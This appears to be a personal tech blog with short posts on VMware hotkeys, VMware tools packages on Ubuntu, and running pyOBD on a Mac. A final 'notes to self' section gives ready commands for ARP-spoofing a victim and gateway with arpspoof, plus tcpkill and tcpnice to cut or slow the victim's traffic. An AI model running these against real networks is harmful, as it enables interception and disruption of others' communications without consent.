On most virtualisation software like VMWare’s etc, the guest machine’s hotkeys which requires ctrl-alt (such as ctrl-alt-f1 etc for tty change in Linux) can be blocked because ctrl-alt is used to release mouse/keyboard with the VM software. If you use it only occasionally, you can first temporarily disable the release hotkey by pressing ctrl-alt-space then your intended hotkey such as ctrl-alt-f1

Source

Trying to install VMWare tools from packages.vmware.com/tools repository in Ubuntu but getting a error while installing packages? There seems to be package dependency going back to open-vm-tools-kmod-generic but it doesn’t exist. When you try to install the next level of package, it would say

“PreDepends: vmware-open-vm-tools-kmod-… but it is not installable”

Unfortunately the VMWare Installation Guide isn’t clear on this matter whereas the Ubuntu documentation is much better. It shows that you can either use the open source version directly available via apt-get or you can build the kmod (kernel mods) from source using the source files in the VMWare repository.

If you just picked up a generic OBD-II – USB interface on eBay and have a Mac, it is true that it is generally more convenient to access these hardware on Windows. Even embedded device developers tend to use Windows to develop against these generic FT232R chip based USB-UART devices simply because of more available supports. But worry not, it can be done on Mac (really on Linux with a more open-platform framework than Windows), it’s just a bit more complicated since it tends to come in be open-source source code rather than prepackaged self-sufficient binaries.

But in this case, it’s not too bad. You can use pyOBD, an Python open-source project. You just need some packages from MacPorts

sudo port install py26-serial
sudo port install py26-wxpython

Download and unpack the source code. And run directly with

pythonw pyobd

p.s. you need X11

Notes to self because I never remember

To arpspoof, turn on IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

with Linux (might need su) or more permanently,

net.ipv4.ip_forward = 1

in /etc/sysctl.conf

In BSD/Mac OS X,

sysctl -w net.inet.ip.forwarding=1

or

net.inet.ip.forwarding = 1

in /etc/sysctl.conf

Alternatively, you can also use fragrouter to forward packets with

fragrouter -B1

Then to arpspoof

arpspoof -t [victim ip] [gateway ip]

arpspoof -t [gateway ip] [victim ip]

Optionally, add

& > /dev/null

to get rid of output. Trust me, there’s nothing interesting.

To block sites/ports:

tcpkill -9 host www.facebook.com or port 5432

To slow down traffic:

tcpnice net 10.0.0.2 or port 5432

Filter expressions are here

The easiest way to detect this spoofing is to ping something outside your gateway and look for redirects